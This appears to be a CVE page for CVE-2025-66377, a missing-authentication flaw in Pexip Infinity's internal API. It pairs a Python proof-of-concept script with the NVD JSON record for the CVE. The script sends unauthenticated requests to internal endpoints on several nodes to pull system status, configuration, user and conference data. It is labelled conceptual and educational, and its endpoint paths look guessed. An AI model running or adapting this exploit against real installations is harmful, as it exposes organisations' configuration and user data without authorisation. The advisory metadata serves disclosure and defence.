CVE-2025-66377

# CVE-2025-66377 PoC - Pexip Infinity API Authentication Bypass # Note: This is a conceptual PoC for educational purposes only # Requires prior code execution on one node in the Pexip Infinity installation import requests import json TARGET_NODES = [ "https://node1.pexip.example.com/api/internal/", "https://node2.pexip.example.com/api/internal/", "https://node3.pexip.example.com/api/internal/" ] def exploit_cve_2025_66377(): """ Exploit missing authentication in Pexip Infinity internal API Requires: Prior code execution on one node within the installation """ results = [] # Attempt to access internal API endpoints on other nodes api_endpoints = [ "system_status", "configuration", "users", "conferences" ] for node in TARGET_NODES: for endpoint in api_endpoints: try: # No authentication required - this is the vulnerability url = f"{node}{endpoint}" response = requests.get(url, timeout=10) if response.status_code == 200: results.append({ "node": node, "endpoint": endpoint, "status": "VULNERABLE", "data": response.json() }) except requests.exceptions.RequestException as e: results.append({ "node": node, "endpoint": endpoint, "status": "ERROR", "error": str(e) }) return results if __name__ == "__main__": print("CVE-2025-66377 Pexip Infinity Exploitation Test") print("Warning: Only for authorized security testing") results = exploit_cve_2025_66377() print(json.dumps(results, indent=2))

{"cve": {"id": "CVE-2025-66377", "sourceIdentifier": "[email protected]", "published": "2025-12-25T05:16:09.197", "lastModified": "2026-01-05T19:13:07.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pexip Infinity before 39.0 has Missing Authentication for a Critical Function in a product-internal API, allowing an attacker (who already has access to execute code on one node within a Pexip Infinity installation) to impact the operation of other nodes within the installation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pexip:pexip_infinity:*:*:*:*:*:*:*:*", "versionEndExcluding": "39.0", "matchCriteriaId": "6DB08854-7655-4489-8B76-0654CC896FFE"}]}]}], "references": [{"url": "https://docs.pexip.com/admin/security_bulletins.htm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}